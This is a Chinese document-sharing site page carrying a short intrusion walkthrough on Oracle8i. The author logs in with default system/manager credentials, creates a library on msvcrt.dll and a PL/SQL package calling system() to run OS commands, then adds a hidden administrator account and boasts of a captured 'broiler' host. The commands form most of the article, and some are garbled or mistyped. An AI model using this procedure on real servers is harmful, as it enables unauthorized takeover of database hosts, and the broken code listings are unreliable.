一次通过 Oracle8i 入侵系统之旅.docVIP

下载本文档

5
0
约小于1千字
约 6页
2016-09-12 发布于河南
举报
版权申诉

一次通过 Oracle8i 入侵系统之旅.doc

1、本文档共6页，可阅读全部内容。
2、有哪些信誉好的足球投注网站（book118）网站文档一经付费（服务费），不意味着购买了该文档的版权，仅供个人/单位学习、研究之用，不得用于商业用途，未经授权，严禁复制、发行、汇编、翻译或者网络传播等，侵权必究。
3、本站所有内容均由合作方或网友上传，本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺！文档内容仅供研究参考，付费前请自行鉴别。如您付费，意味着您自己接受本站规则且自行承担风险，本站不退款、不进行额外附加服务；查看《如何避免下载的几个坑》。如果您已付费下载过本站文档，您可以点击这里二次下载。
4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等，请点击“版权申诉”（推荐），也可以打举报电话：400-050-0827(电话支持时间：9:00-18:30)。
5、该文档为VIP文档，如果想要下载，成为VIP会员后，下载免费。
6、成为VIP后，下载本文档将扣除1次下载权益。下载后，不支持退款、换文档。如有疑问请联系我们。
7、成为VIP后，您将拥有八大权益，权益包括：VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
8、VIP文档为合作方或网友上传，每下载1次，网站将根据用户上传文档的质量评分、类型等，对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档

一次通过 Oracle8i 入侵系统之旅

最近看了些有关 Oracle 的安全资料,看后随手做了一个渗透测试,把过程记录下来方便日后查阅.。先用 SuperScan4.0 扫描下要测试的主机,速度很快,结果如图 1 所示 ? ? 图1 ? 图2 ? 图3 ?? 图4 SqlPlus? system/manager@//victimip:1521/ccdr ? ? 连接成功后,可以通过 PL/SQL 来运行 OS 命令,首先需要创建库来定位 msvcrt.dll 文件.这里需要使用完整的路径,通过刚才对主机的查点我们已经知道操作系统为 win2003, 如果系统安装到C盘的话 , 那msvcrt.dll 默认路径就为 ? c:\windows\system32\msvcrt. ? ? 创建库的命令如下: CREATE OR REPLACE LIBRARY exec_shell AS c:\windows\system32\msvcrt.dll;接下来写一个过程来调用 msvcrt.dll 里的 system()函数.命令如下: ? ? CREATE OR REPLACE PACKAGE oracmd IS0PROCEDURE exec (cmdstring IN CHAR);/CREATE ORE REPLACE PACKAGE BODY oracmd ISPROCEDURE exec (cmdstring IN CHAR)IS EXTERNALINAME systemLIBRARY exec_shellLANGUAGE C;end oracmd;/ ? ? 创建完后,就可以运行 OS 命令了.由于主机已经开放了终端服务,所以我这里添加个管理员,然后连接服务器.命令如下: ? ? exec oracmd.exec (net user mickey imissyou /add);exec oracmd.exec (net localgroup administrators mickey /add); ? ? 帐户创建完成后,如图 5,就可以连接终端服务了,一台肉鸡到手了.:-) ? ? ? 图5